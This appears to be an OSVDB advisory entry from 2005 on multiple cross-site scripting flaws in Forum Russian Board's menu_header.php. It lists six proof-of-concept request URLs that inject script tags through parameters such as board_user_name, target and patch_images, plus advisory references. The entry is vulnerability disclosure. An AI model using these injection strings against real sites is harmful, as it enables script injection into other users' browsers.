Forum Russian Board (FRB) menu_header.php Multiple Variable XSS

2005-06-21T09:35:14
ID OSVDB:17487
Type osvdb
Reporter OSVDB
Modified 2005-06-21T09:35:14

Description

Manual Testing Notes

menu_header.php?board_user_name=<script>alert("XSS");</script> menu_header.php?board_user_name=1&color_panel_edit=><script>alert("XSS");</script> menu_header.php?target=><script>alert("XSS");</script> menu_header.php?patch_images="><script>alert("XSS");</script> menu_header.php?font_color_panel=><script>alert("XSS");</script> menu_header.php?body_color_forum=><script>alert("XSS");</script>

References:

Vendor URL: http://www.carline.ru/ Secunia Advisory ID:15787 Related OSVDB ID: 17485 Related OSVDB ID: 17491 Related OSVDB ID: 17492 Related OSVDB ID: 17493 Related OSVDB ID: 17484 Related OSVDB ID: 17486 Related OSVDB ID: 17489 Related OSVDB ID: 17490 Related OSVDB ID: 17488 Other Advisory URL: http://rst.void.ru/papers/advisory29.txt Bugtraq ID: 14045